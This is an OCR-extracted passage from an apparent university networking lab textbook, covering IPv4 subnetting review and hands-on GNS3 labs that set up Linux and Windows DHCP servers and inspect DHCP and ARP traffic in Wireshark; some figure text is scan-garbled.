° PC5 from the Green subnet can successfully ping PC2 in the Red subnet

List of Figures for Print Copy

Fitdtd

Fitdtte

Pt bk
Fitit MK
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il

ittt

Mt 11
Mt 111
MM 111
Mt TII

Fouterds 7,11.2 (c)

TTTTTTTTTTT
TTTTTTTTTTT
TTT
TTT
TTT
TTT

III
III
III
III

K EEE

1Lt ::::,-"',-"'I,|,II,:,II_:,I‘_r|'|:i_I-::,r"l:lt.:i_l::,‘,|::|:|r|'|,-"I

Do you wart to zes the software lic

F1 for help

Figure 3 - MikroTik router login screen



INTRO TO ROUTERS

[admin@ 1 » interface
+ E - FAMNING

Mo100,10,10,0  etherl

Figure 7 - Ether1 configured with red network IP address
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CHAPTER 17

IPv4 Addressing - A Very Brief Review

MATHEW J. HEATH VAN HORN, PHD

IPv4 subnetting can be confusing to many. These exercises are intended to emphasize the concept that I1Pv4

numbers are not numbers at all, but rather symbols of identification (i.e. names. e.g. Eileen =192.168.1.4, Hasan

=201.4.56.12, McDonalds = 10.14.67.12, etc.). When you see IP addresses, do not think numbers, think names.
Estimated time for completion: 10 minutes

LEARNING OBJECTIVES

* Increase familiarity with using the GNS3 Environment
+ Identify Ethernet packet traffic on Wireshark
+ Convert Decimal to Binary
+ Convert Binary to Decimal
« Given an IP address and netmask, determine:
o Network ID
o First Usable IPv4 Address
o Last Usable IPv4 Address
o Broadcast IPv4 Address

PREREQUISITES

+ Chapter 16 - Introduction to Routers

DELIVERABLES

« Complete the IPv4 Worksheet

RESOURCES

+ |P Subnet Calculator - https://www.calculator.net/ip-subnet-calculator.html

+ Heath Van Horn, Mathew, “IP Refresh”, https://www.youtube.com/watch?v=Sr9glYNpT4l
338
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+ Heath Van Horn, Mathew, “Calculating Subnet Mask”, https://www.youtube.com/watch?v=wIS8SLVAGKM
+ Watchguard Articles:

o

Nachreiner, Corey, “Understanding IP Addressing and Binary”, https://www.watchguard.com/
wgrd-resource-center/security-fundamentals/understanding-ip-addresses-and-binary

o Farrow, Rik, “Understanding IPv4 Subnetting (Part 1)", https://www.watchguard.com/wgrd-
resource-center/security-fundamentals/understanding-ipv4-subnetting-part-one

o Farrow, Nachreiner, and Pinzon, “Understanding IPv4 Subnetting (Part 2)",
https://www.watchguard.com/wgrd-resource-center/security-fundamentals/understanding-
ipv4-subnetting-part-two

CONTRIBUTORS AND TESTERS

+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott
+ Dante Rocca, Cybersecurity Student, ERAU-Prescott
« Sawyer Hansen, Cybersecurity Student, ERAU-Prescott

Phase | - A Very Brief Review

This instructional material is not designed to replace people’s favorite learning materials. We want to simply

augment what already exists. However, it was pointed out by some of our testers that a very abbreviated review
would be a helpful inclusion within the textbook.

Computers view the world in 1s and 0s. At the most fundamental level, Network Interface Cards (NICs) produce
and receive streams of 1s and 0's like ping-pong balls moving through a glass tube.


https://youtu.be/wIS8SLvAGkM
https://www.watchguard.com/wgrd-resource-center/security-fundamentals/understanding-ip-addresses-and-binary
https://www.watchguard.com/wgrd-resource-center/security-fundamentals/understanding-ip-addresses-and-binary
https://www.watchguard.com/wgrd-resource-center/security-fundamentals/understanding-ipv4-subnetting-part-one
https://www.watchguard.com/wgrd-resource-center/security-fundamentals/understanding-ipv4-subnetting-part-one
https://www.watchguard.com/wgrd-resource-center/security-fundamentals/understanding-ipv4-subnetting-part-two
https://www.watchguard.com/wgrd-resource-center/security-fundamentals/understanding-ipv4-subnetting-part-two
https://www.watchguard.com/wgrd-resource-center/security-fundamentals/understanding-ipv4-subnetting-part-two
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Used with permission from the artist - Romana A. Heath Van Horn

The NIC cannot see what data is coming, it can only see what has been received and it has to make sense of the
information. The Ethernet Protocol defines which combinations of 1s and Os will result in commands for action. If
the combination gets mixed up, the command is garbled, and the NIC has no idea what to do and will throw the
data away.

IPv4 networks use two human-readable notations of 32 bits each to provide identification of a NIC, such as
192.168.1.14 255.255.255.0. Back in the day, the first part, 192.168.1.14, was a sufficient identifier. Sort of like
a house number in a town. However, as the internet grew, just like towns, further identification was needed
to handle the new NICs (new houses) and yet still use the existing identification system. Subnet masks were
introduced (255.255.255.0) that act sort of like street names.

Each human-readable notation of 32 bits is broken into 4 octets (8 bits). This is for human readability, the NIC
doesn't care. Remember, the NIC only looks at 1s and 0s. We can look at our example (192.168.1.14) using these
principles. Generally, spaces are inserted every 4 bits to make things easier for humans to read.

192 168 1 14

1100 0000 1010 1000 0000 0001 0000 1110

The 192 is a decimal, human-readable notation of the binary value 1100 0000. This means if this was sent from
one NIC to another, we would send a ping-pong ball sequence of red, red, blue, blue, blue, blue, blue, blue.
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P L

Used with permission by the artist - Romana A. Heath Van Horn

Converting between binary and decimal notation is beyond the scope of this lesson. Suffice it to say, most
scientific calculators can make the conversion.

Looking at this, we can quickly run out of notational identifiers. Remember, the largest decimal notation we can
have is 255 because the largest binary notation is 1111 1111.

255 11

001111100111

999 (NO! larger than 8 bits)

Subnet masks use a continuous string of 1s to identify which part of the IPv4 address is the “street name”
and which part is the “house number”. A subnet mask means that the sting of 1s is never interrupted. For
example, if our subnet mask is 255.255.255.0 it represents a binary representation of 1111 1111.1111 1111.1111
1111.0000 0000. Notice there is no interruption of the sequence of 1s. It is impossible to have a subnet mask of
255.192.16.14 because the sequence of 1s is interrupted.

255 255 255 0
No interruption of bits
1111111 11111111 11111111 0000 0000
255 192 16 14

Series of 1's bits interrupted
1111111 1100 0000 0001 0000 0000 1110




342 MATHEW J. HEATH VAN HORN, PHD

The final piece of the puzzle is called Logical AND addition. In this type of addition, any binary 1 added to another
binary 1 will produce a binary 1 (1+1=1). Any use of zero will result in a zero. e.g. (1+0=0, 0+1=0, 0+0=0)

When we perform a Logical AND addition of our IP address with its associated network mask it reveals both the
“street name” and the “house number” of our device.

In this example, our PC has an IP address of 192.168.1.65 with a network mask of 255.255.255.0. We will apply
Logical AND addition and look at the results.

First, we convert the IP address and netmask to binary.

+ 192.168.1.65 — 1100 0000 . 1010 1000 . 0000 0001 . 0100 0001
+ 255.255.255.0 - 1111 1111.11111111.1111 1111 . 0000 0000

Second, apply Logical AND addition to the first octet of both

NOTE: the first octet in all instances is highlighted in red for illustrative purposes

Third, apply Logical AND addition to the remaining three octets

1010 1000 0000 0001 0100 0001

1111 1111 +11111111 +0000 0000

1010 1000

0000 0001 0000 0000

Fourth rewrite the results into 32-bits

1100 0000 1010 1000 0000 0001 0000 0000

NOTE: As you get more experienced, steps two and three would be done at the same time so there would be
no need for a 4th step.

Finally, convert the 32-bits into decimal, human-readable form.
1100 0000. 1010 1000 . 0000 0001 . 0000 0000 = 192.168.1.0
The result tells us that our “Street Address” is 192.168.1.0 and that we can use any number from 1-254 in place
of the 0 as our “House Humber”. Yes, | see you in the back. “What happened to 255?” In this case, 255is used as a
short cut meaning “every house on the street”. Think junk mail. If a company wants to send snail mail to everyone
on a street, it doesn't look up every address, it just sends it to every house on the street.
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Used with artist’s permission: Romana A. Heath Van Horn

At this time we are going to abandon the street name and house number metaphor and use the proper names:

+ Street Name = Network ID
* House Number = Host ID

+ Every House = Broadcast ID
There are three more important identifiers we need to know:

+ First Usable IP Address = Add 1 to the Network ID (e.g. 192.168.1.0 +1 =192.168.1.1)
+ Last Usable IP Address = Subtract 1 from the Broadcast ID (e.g. 192.168.1.255 - 1 = 192.168.1.254)

+ IP Address Range = The number of real numbers between the First Usable and Last Usable IP addresses,
inclusive (e.g. 192.168.1.1 - 192.168.1.254 = 0.0.0.253 then include the 1 to increase the result to
0.0.0.254). This means 254 hosts can be joined to the network.

This is a lot of information, so let's clean it up in a summary:
Given a PC with an IP address of 192.168.16.14 and a subnet mask of 255.255.255.0 find the resulting
information:

IP Address 192 168 16 14

Subnet Mask 255 255 255 0

IP Address 1100 0000 1010 1000 0001 0000 0000 1110
Subnet mask 11111111 11111111 11111111 0000 0000
Logical AND addition result 1100 0000 1010 1000 0001 0000 0000 0000

Network ID 192 168 16 0
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+ Network ID =192.168.16.0

* HostID =192.168.16.0

+ Broadcast ID = 192.168.16.255
+ First Usable IP =192.168.16.1

+ LastUsable IP =192.168.16.254
+ Address Range = 254 hosts

Some will look at this and make some shortcut inferences. And some shortcuts can be made, but only under
specific conditions. This is how cyber folks can impress laymen with their mental math skills. However, so long
as you follow the above procedures every time, you will always get the correct answers and your network will
function because it is using the correct IP addresses.

A quick discussion on Classless Inter-Domain Routing (CIDR). Using network masks of 255.0.0.0, 255.255.0.0,
or 255.255.255.0 leaves many unused Host IDs that could be used by other networks. Take our example earlier,
255.255.255.0 resulted in 254 Host IP addresses. However, if we are only connecting two devices (say 192.168.16.1
and 192.168.16.2), we are preventing the use of the remaining 253 Host IP addresses by other parts of the
network.

CIDR allows us more flexibility. Using a netmask of 255.255.255.252 gives us 2 usable Host IDs and frees the
remaining Host ID's for other purposes. CIDR notation provides us with some shortcut tools because it just lists
the number of continuous binary 1s in the netmask.

, CIDR
Network Mask (netmask) Number of 1's notation
Binary 11111111 11111111 11111111 0000 0000 24 binary 1's 124

255 255 255 252

Binary 1111111 111111 1111111 1111 1100 30 binary 1's /30

Phase Il - Practice Subnetting Principles

The following problems are self-graded. You can take as many attempts as you need to ensure you understand
the information.

@ An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=244#h5p-1

@ An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=244#h5p-2

@ An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=244#h5p-3
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a An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=244#h5p-4

End of Lab

Deliverables

Complete this worksheet and turn it in to receive credit for this exercise: Worksheet

Assignment 1 - Create your own GNS3 network
Generate a random IPv4 network ID and use it to build a GNS3 network using 4 PCs and a switch. Use a
CIDR that would allow for the addition of 1,000 more hosts.
Assignment 2 - Create a GNS3 that doesn’t waste any IP addresses
Generate a random IPv4 network ID and use it to build a GNS3 network using 5 PCs and a switch. Use a
CIDR that wastes as few IP addresses as possible.
Recommended binary grading criteria:

+  Screenshot of the GNS3 Working environment where:

o All connections are made according to instructions
° All connections are labeled with the correct IP Address
° Correct CIDR is used

° Interface labels are turned on

+  Ascreenshot of Wireshark packet captures taken from the PC1-switch link

o Any PC can successfully ping PC1
o Asecond PC can successfully ping PC2



https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=244#h5p-4
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/IPv4-Worksheet-Generic.pdf
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CHAPTER 18

Dynamic Host Configuration Protocol - Linux

JACOB CHRISTENSEN AND MATHEW J. HEATH VAN HORN, PHD

Dynamic Host Configuration Protocol (DHCP) is an interacting client-server protocol that automatically provides
a host (PC, Laptop, Phone, etc) with an Internet Protocol (IP) address upon request. The purpose of this activity
is for learners to see DHCP in action instead of just reading about the DHCP handshake theory. A secondary
purpose is for learners to experience frustration when hosts do not get a DHCP IP address. Learners can see how
the packets move and where they may get hung up while working on making DHCP function correctly on their
network. Finally, learners will be able to see Address Resolution Protocol (ARP) in action. While DHCP occurs when
a host requests an IP address for an existing MAC address, ARP is when a host has an IP address, but is unsure
what MAC address it belongs to.
Estimated time for completion: 25 minutes

LEARNING OBJECTIVES

+ Successfully deploy a DHCP solution using Linux on an enterprise network
+ Capture and Observe DHCP packets using Wireshark
+ Capture and Observe ARP packets using Wireshark

+ Successfully add hosts to an enterprise network and receive IP addresses automatically

PREREQUISITES

+ Chapter 7 - Create a Linux Server

+ Chapter 15 - Hubs and Switches
+ Chapter 17 - IPv4 Addressing

DELIVERABLES

+ 5 Screenshots:
o Wireshark - DHCP Packets for PC1
o Wireshark - DHCP Packets for PC2
o Wireshark - ARP Packets for PC1/PC2

346
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o GNS3 Workspace

o Configuration of DHCP Daemon

RESOURCES

+ Internet Systems Consortium - “ISC DHCP” - https://www.isc.org/dhcp/

CONTRIBUTORS AND TESTERS

+ Julian Romano, Cybersecurity Student, ERAU-Prescott
+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | -Build the Network Topology

The following are steps to set up the learning environment to better understand DHCP. Since learners have
performed many of these tasks in other labs, we have taken liberties to reduce the number of steps and
screenshots for repeated material. If you are confused about what you've been asked to do, please review the
appropriate chapter of this book.

Your final network will look like the following:

PURPLE LAN

200.200.200.0/ 24 PC2

DHCP-SERVER SWITCH
21
«2
«?
254 PC1
20

Figure 1 - Final GNS3 network environment

1. Start GNS3
1.1. Create a new project: LAB_04

2. Build a new LAN with a network address of 200.200.200.0/24


https://www.isc.org/dhcp/
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2.1. Use two VPCS devices for PC1 and PC2
2.2. Add an Ethernet switch

2.3. Add an Ubuntu Server VM and rename it to “DHCP-Server”

NOTE: Ensure that the Allow GNS3 to use any configured VirtualBox adapter check box is
selected for all VMs added to GNS3. Refer to step 6.2 in Chapter 11 for more information.

2.4. Connect the server and PCs to the switch

2.5. Label and organize your network as necessary

PURPLE LAN

200.200.200.0/24 PC2

DHCP-SERVER SWITCH

-
- PC1

Figure 2 - Basic network topology

Phase Il - Configure the DHCP Server

This lab requires that isc-dhcp-server is installed to your VM. Verify this with the following command. Refer

to Chapter 7 for installing necessary packages from the APT repository. If you are already familiar with DHCP
configuration, please feel free to use and explore other solutions too.

> apt list isc-dhcp-server
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=22 them.

Figure 3 - Verifying DHCP server package is installed

Ensure that yours also says “[installed]” next to the output.

UPDATE: KEA is the new Linux standard for implementing DHCP, but at the time we developed these labs, KEA
documentation was lacking. We will update the labs to use KEA in future editions.

NOTE: For those who have limited computer power/resources, consider using a TinyCore VM as your primary
Linux server as covered in Chapter 9.

Moving forward, managing Linux boxes will become a staple in our networks. While this might be intimidating
for those who are new to CLI environments, be assured that you will quickly learn. However, it is a good idea to
refresh basic terminal navigation skills online before continuing.

1. Start the DHCP Server and give it a minute or two to boot
1.1. Login: student

1.2. Password: Security1

NOTE: Learners unfamiliar with Linux need to know that Linux CLI will NOT move the
cursor as you type the password. This is a security countermeasure to prevent shoulder-
surfing. Even if an observer can't see the characters being typed in the password, just knowing
the number of characters in the password makes brute-force password hacking easier.
Therefore, if the cursor doesn't move, nobody can count the number of characters used in the
password by watching the screen.

Making Backups

Before editing ciritcal files (such as configuration files), it is always good practice to create
backups. When needed, they will save you lots of time and headache, so make it a habit now
so that you don't regret it later.

Make a new backup folder in your home directory.

> mkdir ~/backups

Verify it was successfully created.

> 1s ~/ | grep backups
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iako@dhcp-server:™% 1s ™/ | grep backups

iako@dhcp-server: ™%

Figure 4 - Backups file created

Make a copy of a file to the backups folder (sudo may be necessary depending on the
security of the file).

NOTE: obviously “/path/to/file/” and “example.conf’ are placeholders. Adjust them as
necessary to your situation.

2. Configure the server’s interface with the static IP of 200.200.200.254 on a /24 network

2.1. ldentify the network configuration file (Figure 5)

> 1s /etc/netplan/

NOTE: The netplan configuration file will always be a .YAML in this directory; however, the
name may change between releases or user modification. As of writing this textbook, | am

using Ubuntu 22.04.X LTS. The default configuration file name for netplan is 00-installer-
config.yaml. Adjust as necessary.

2.2. Edit the YAML file to match the example provided below

> sudo vi /etc/netplan/00-installer-config.yaml



https://eaglepubs.erau.edu/app/uploads/sites/10/2024/02/lab4_netplanfile.png
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e network conflig written

optional
dh
addr

version

Figure 6 - Ubuntu netplan configuration
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Command Description
This is the name of interface you want to configure with options

enp0s3 indented after. This can be checked with the commandip address
show. Adjust as necessary.
Determines whether the system should wait to boot until the

optional specified interface is configured. If you are getting an error on

p boot concerning “waiting for network configuration”, ensure that

this value is set to ‘true’.

dhcp4 Determines whether the specified interface can dynamically

P receive IP addresses from a DHCP server.
addresses Set static IP address value(s) to the specified interface.

Basic commands:
- Press j to enter/nsert (editor) mode.
- Press Esc to return to Command mode.

NOTE: Use any preferred text editor, but it is recommended that you become familiar with
Vi since it is installed by default on even the most minimal of Linux distributions.

- Type :wq in Command mode to save (write) and exit back to the terminal.
- Type :q! in Command mode to exit without saving.

2.3. Apply the changes (Figure 7)

> netplan try

NOTE: Proper spacing in this file is critical. If an error is thrown, ensure that your file
matches the one provided. Double and triple-check for spelling errors.

2.4. Verify the IP address of the DHCP Server was taken and that the ethernet card has a state

of UP (Eigure 8)

> ip -c addr



https://eaglepubs.erau.edu/app/uploads/sites/10/2024/02/lab4_netplantry.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2024/02/lab4_ipaddr.png
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NOTE: Some testers have reported that you might not get the above information when you
type ip addr. Some interfaces, even virtual ones, need to think a cable is plugged in. Ensure
that a cable is connected from the server to the switch.

2.5. In GNS3, add a label next to DHCP Server with its new host address

3. Modify the DHCP Server configuration file as shown below

> sudo vi /etc/dhcp/dhcpd.conf

ation weitten by 'Jake M. Christensen'
07

sbnet

# Global param
default-1e

Figure 9 - DHCP daemon configuration example

NOTE: You can delete most of the lines in the file or you can append it as appropriate. Your choice.

4. When editing system services, it is good practice to reload the manager with updated configurations

> sudo systemctl daemon-reload

5. Verify that the server is enabled so that it starts on boot

> systemctl is-enabled isc-dhcp-server

5.1. Enable the service if necessary
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> sudo systemctl enable isc-dhcp-server

6. Start the DHCP daemon

> sudo systemctl start isc-dhcp-server

7. Verify the server is running (type Q to quit)
> sudo systemctl status isc-dhcp-server

student@ubuntuserver: ™% s
i 1h

: enahled)

dhepd.pid -cf setcs/dhg

ubu

ubu
ubunt us
b

Féb N z H
lines 1-21/

Figure 10 - DHCP server status

NOTE: If you get an error, it is likely that there was a syntax error in your configuration file or the unit
file was not updated properly. You can try restarting the service with the following command:

NOTE: If restart doesn't work, you can view the details of the failure in the logs by typing the following
command
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> journalctl -xeu isc-dhc

-x / —catalog Provide more verbose/explanatory log and error messages.
-e / -pager-end Jump to the end of the log file.
-u / -unit Specify the service to view the logs messages of.

8. Congratulations! This machine is now acting as the DHCP server for any end-device client (laptop, PC,
phone, etc.) that connects to the network

Phase Ill - Watch DHCP in Action

Remember, DHCP is a network management protocol that allows hosts to obtain IP addresses automatically
upon request. It uses the User Datagram Protocol (UDP) and the server listens on port number 67 and the client
listens on port 68.

+  The end device (also called a client) will send out a discovery request (e.g. “Is anyone out there
handing out names?”)

+ The server sees the discover request and sends out a DHCP offer (e.g. “Yes, | see you, try
20.20.20.25").

«  The client will then send a request packet (e.g. “Can I really use this name?”).

. Finally, the server will send an acknowledge packet (e.g. “20.20.20.25 is all yours man”).
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Used with artist’s permission: Romana A. Heath Van Horn

1. Initialize a new Wireshark session on the PC1-Switch link

2. Start PC1, open its console, and request a new IP address

> ip dhcp

2> ip dhcp

Figure 11 - DHCP request on VPCS

NOTE: If successful, you should see an output that looks similar to the following:

If you are unable to see the DORA (discover, offer, request, acknowledge) string in the VPCS console,
either the Linux box is unreachable or the DHCP daemon is offline. Go back and troubleshoot before
moving forward. If all else fails, try rebooting the server or restarting GNS3 entirely.

3. Now go back to Wireshark and look at the packets captured between PC1 and the switch (Figure 12)

3.1. Filter for only DHCP packets

([ [dhep

Mo,

Time
1 0.6606808
3 1.888127
4 1.861248
5 4.888299
6 4.831957

Source

6.8.8.0

6.6.6.0
206.266.208.254
6.6.6.0
266.266.200.254

Figure 13 - Wireshark DHCP handshake

3.2. [DHCP Discover]

Destination

255.255.255.255
255.255.255.255
206.266.200. 26
255.255.255.255
206.260.200. 26

Protocol

DHCP
DHCP
DHCP
DHCP
DHCP

Length Info

486 DHCP Discowver
486 DHCP Discover
342 DHCP Offer
486 DHCP Request
342 DHCP ACK

Look at the Discover packets. There is at least 1, but there could be more depending
on lag. In this example, we see on Wireshark that someone on the network basically says
“HELLLOOOQ! | don't know who | am (0.0.0.0). Is there anyone out there handing out IP
addresses? Please speak to me!”

- Source: 0.0.0.0 (Who am I?)
- Destination: 255.255.255.255 (Who's out there?)

- MAC Address: 00:50:79:66:68:00 (This is what my face looks like)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/draft_lab7_figure_11.png
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3.3. [DHCP Offer]

Now look at the DHCP offer packets. It's like our DHCP server (200.200.200.254) is saying,
“Hey buddy I'm here, and if you need a name you can use this one (200.200.200.###).”

- Source: 200.200.200.254 (I'm here)
- Destination: 200.200.200.20 (Here's a name that’s available)

3.4. [DHCP Request]

Then the next packet should be our no-name PC saying “Oh, me me me, | like the name
200.200.200.###" in a DHCP request packet.

- Source: 0.0.0.0 (I still don't have an official name yet)
- Destination: 255.255.255.255 (If you're still out there | want that name)

3.5. [DHCP ACK]

Finally, our server acknowledges PCls eagerness and says, “Ya buddy you are now
200.200.200.### from now on and not just some schmo (0.0.0.0) who looks like
00:50:79:66:68:00.”

-200.200.200.254 (I'm still here)
-200.200.200.20 (You're officially known as host .20 on this network)

4. Repeat the above steps to assign PC2 its own IP address

5. Return to GNS3 and update the VPCS labels with new IP addresses they were assigned
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PURPLE LAN

200.200.200.0/ 24

DHCP-SERVER

254

Figure 14 - GNS3 network labeled

MATHEW J. HEATH VAN HORN, PHD

PC2

PC1

.20

Phase IV - Watch ARP in Use

Remember, network packets are passed by MAC addresses in Layer 2 of the OSI Model. Since we manually
configured the static IP addresses on both the router and the server, the network doesn't know which IPv4
address goes to which NIC on the individual hosts. The networks now see each other and say, “Who are you?” to
each other. In this example, we can see 200.200.200.254 (our DHCP server) asking who has an IPv4 address of
200.200.200.1 (our server) and vice versa. You can see that 200.200.200.254 responds and says “My Layer 2 name
is 08:00:27:b2:50:bc". Don't worry about the other packets you see currently. Just get used to what ARP looks like
so you can understand it when you see it again in the future.

5.1. Return to the PC1-Switch Wireshark capture window and filter for ARP packets

(I [arp

Source Destination Protocol Info

B8:50:79:66:68:01 LHiHiHiHiHi G ARP Gratuitous ARP for 200.200.2080.20 (Reguest)
B8:88:27:28:17:11 B@:58:79:66:68:81 ARP Who has 288.280.200.287 Tell 208.200.200.254
BE:56:79:66:68:81 BE:88:27:23:17:11 ARP 260.280.260.20 is at @6:50:79:66:68:81
B0:58:79:66:68:81 tFeffeff et ARP Gratuitous ARP for 206.260.280.20 (Request)
B0:58:79:66:68:01 tFeffeff et ARP Gratuitous ARP for 260.260.280.208 (Request)

Figure 15 - ARP Packet Capture using Wireshark

5.1.1. [Gratuitous ARP]

After a PC receives an IP address from the subnet's DHCP server, it may broadcast
(ff.ffff:ff.ff:ff) to all devices on the network that its MAC address (00:50:79:66:68:01) now




ISC DHCP SERVER

belongs to a specific layer 3 address (200.200.200.20). This is known as a “gratuitous ARP
response”, since it was sent unprompted by any specific ARP request.

- Source: 00:50:79:66:68:01 (This is my face)
- Destination: ff.ff:ff.ff:ff.ff (Hey everyone who can hear me!)
- IP Address: 200.200.200.20 (This is my name now!)

5.1.2. [Who has?]

If a device wants to know who currently owns an IP address, it may send an ARP request
to specific MAC address or broadcast the message to all devices. In this example, the DCHP
server (08:00:27:2a:17:11) wants to know if PC1 (00:50:79:66:68:01) still holds the IP address
200.200.200.20. This is known as an ARP request.

- Source: 08:00:27:2a:17:11 (This is my face)

- Destination: 00:50:79:66:68:01 (Hey you there)

- Sender IP Address: 200.200.200.254 (This is my name)
- Target IP Address: 200.200.200.20 (Is this your name?)

5.1.3. [ARP Reply]

In response to an ARP request packet, the device that hold the target IP will respond with an
ARP relply.

- Sender IP Address: 200.200.200.20 (This is my name...)
- Source: 00:50:79:66:68:01 (... associated with this face)

5.2. Use this opportunity to analyze Wireshark packets and get comfortable with how DHCP and ARP
work on a live network

End of Lab

359

Deliverables

5 screenshots are needed to receive credit for this exercise:

. Wireshark - DHCP Packets for PC1
. Wireshark - DHCP Packets for PC2
. Wireshark - ARP Packets for PC1/PC2
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*  GNS3 Workspace

+  Configuration of DHCP Daemon

Assignment 1 - Combined network traffic watching

«  Turn off all devices
. Replace the switch with a hub and reconnect all devices

. Monitor any of the PCs with Wireshark and capture ARP, DHCP, and ICMP packets for each PC's as
you turn devices back on

c RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 environment with everything labeled
o Screenshot of Server-PC1 ARP from PC2-Hub link

o Screenshot of Server-PC1 DHCP from PC2-Hub link

o Screenshot of Server-PC1 ICMPfrom PC2-Hub link

Assignment 2 - Reconfigure the DHCP server

. Figure out the number of devices that can be attached to the switch

. Generate a random IP address and choose a subnet that will allow the use of all the switch
connections with as few wasted IP addresses as possible

o Reconfigure the network to use these new network addresses

. Reconfigure the DHCP settings to issue IPv4 address in this new space

RECOMMENDED GRADING CRITERIA

o Screenshot of the DHCP configuration file
o Screenshot of the GNS3 workspace

o Screenshot of DHCP of one PC

o Screenshot of ICMP of one PC

List of Figures for Print Copy

Figure 5 - Identify network configuration file
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=tudent@8ubuntus
[sudo] I
Do wou want to keep thes

EMTER before the timeout to accept the new configuration

seconds

te UMEMOWM group default glen 1000

ed_Lft for :
JUP,LOWER_UP> mtu 1500 gdisc fg_codel state UP group default glen 100
te brd ffaffiffoffiffiff
e global enp

student

Figure 8 - Verify changes took place

14 130.891592 3s £F02::2 ICMPvE 62 Router Solicitation

15 157.4860858 0.0.2.9 255.255.255.255 DHCP 406 DHCP Discover - Transaction ID @x7bb51203

16 157.487812 PcsCompu_b2:58:bc Broadcast ARP 608 Who has 200.200.200.207 Tell 200.200.200.254
17 158.486894 0.98.2.9 255.255.255.255 DHCP 486 DHCP Discover - Transaction ID @x7bb51203

18 158.489827 200.200.200.254 200.200.200 .20 DHCP 342 DHCP Offer Transaction ID @x7bb51283

19 158.585682 PcsCompu_b2:58:bc Broadcast ARP 608 Who has 209.200.200.207 Tell 200.200.200.254
2@ 159.529598 PcsCompu_b2:58:bc Broadcast ARP 68 Who has 209.200.200.28?7 Tell 200.200.200.254
21 161.488586 P.6.6.8 255.255.255.255 DHCP 486 DHCP Request - Transaction ID @x7bb51283

22 161.561419 200.200.200.254 200.200.200.20 DHCP 342 DHCP ACK - Transaction ID @x7bb51283

Figure 12 - Wireshark capture
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CHAPTER 19

Dynamic Host Configuration Protocol - Windows

RAECHEL FERGUSON

Dynamic Host Configuration Protocol (DHCP) is an interacting client-server protocol that automatically provides
a host (PC, Laptop, Phone, etc) with an Internet Protocol (IP) address upon request. The purpose of this activity
is for learners to see DHCP in action instead of just reading about the DHCP handshake theory. A secondary
purpose is for learners to experience frustration when hosts do not get a DHCP IP address. Learners can see how
the packets move and where they may get hung up while working on making DHCP function correctly on their
network. Finally, learners will be able to see Address Resolution Protocol (ARP) in action. While DHCP occurs when
a host requests an IP address for an existing MAC address, ARP is when a host has an IP address, but is unsure
what MAC address it belongs to.
Estimated time for completion: 20 minutes

LEARNING OBJECTIVES

+ Successfully deploy a DHCP solution using Windows on an enterprise network
+ Capture and Observe DHCP packets using Wireshark
+ Capture and Observe ARP packets using Wireshark

+ Successfully add hosts to an enterprise network and receive IP addresses automatically

PREREQUISITES

+ Chapter 6 - Adding a Virtual Machine to GNS3

+ Chapter 8 - Create a Windows Server

+ Chapter 17 - IPv4 Addressing

DELIVERABLES

* 4 Screenshots:
o Wireshark - DHCP Packets for PC2
o Wireshark - DHCP Packets for PC3
o GNS3 Workspace

362
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o Configuration of Windows Server

RESOURCES

+ NOTE: Each source will referenced with its corresponding number in superscript (EX: 1 ) at the
end of a step

* 1. MSFT WebCast. “Basic Configuration Tasks in Windows Server 2019.” YouTube, January 25, 2019.
https://www.youtube.com/
watch?v=1nxY|SV7-u8&list=PLUZTRMXEpBy32NP6z_qvVBOTWUzdTZVHt&index=5.

+ 2. MSFT WebCast. “Install and Configure DHCP Server in Windows Server 2019 Step by Step Guide.”
YouTube, February 3, 2019. https://www.youtube.com/watch?v=fUK6d3s1Im4&t=414s.

CONTRIBUTORS AND TESTERS

+ Mathew J. Heath Van Horn, PhD, ERAU-Prescott

+ Julian Romano, Cybersecurity Student, ERAU-Prescott

« Dante Rocca, Cybersecurity Student, ERAU-Prescott

+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

Phase | -Build the Network Topology

The following steps are to create the baseline for completing the lab. It makes assumptions about learner
knowledge from completing previous labs. By the end of this lab, your network should look like the following:

PC1

GREEN LAN

200.200.200.0/24

SWITCH DHCP-SERVER

.254

21

Figure 1 - Final GNS3 network environment

1. Open GNS3 and start a new workspace


https://www.youtube.com/watch?v=1nxYJSV7-u8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=5
https://www.youtube.com/watch?v=1nxYJSV7-u8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=5
https://www.youtube.com/watch?v=1nxYJSV7-u8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=5
https://www.youtube.com/watch?v=fUK6d3s1Im4&t=414s
https://www.youtube.com/watch?v=fUK6d3s1Im4&t=414s
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1.1. Create a new project: LAB_05

2. Create the baseline network with an address space of 200.200.200.0/24

NOTE: This example uses the same network topology that was created in the previous chapter: DHCP

2.1. Use two VPCS devices for PC1 and PC2

2.2. Add an Ethernet switch

2.3. Add a Windows Server VM and rename it to “DHCP-server”

NOTE: Ensure that the Allow GNS3 to use any configured VirtualBox adapter check box is
selected for all VMs added to GNS3. Refer to step 6.2 in Chapter 11 for more information.

2.4. Connect the server and PCs to the switch

2.5. Label and organize your network as necessary

PC1

GREEN LAN

200.200.200.0/24

SWITCH DHCP-SERVER

.254

Figure 2 - GNS3 network environment

Phase Il - Configure the Network Interface of the Server

In order for the server to act as a DHCP server we will need the server to be properly attached to the network.
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Without giving it the proper network information our server will be unable to talk with any other computers on

the network.

1. Start the server and login

2. Focus on the Server Manager dashboard window !

[ Server Manager

Server Manager * Dashboard @1 I'A Manage  Tooks  View  Help

WELCOME TO SERVER MANAGER

Dashboard

i Local Server

& All Servers : : )
= o Configure this local server
&4 DNS QUICK START

#§ File and Storage Services P 2 Add roles and features

3 Add other servers to manage

WHAT'S NEW e :
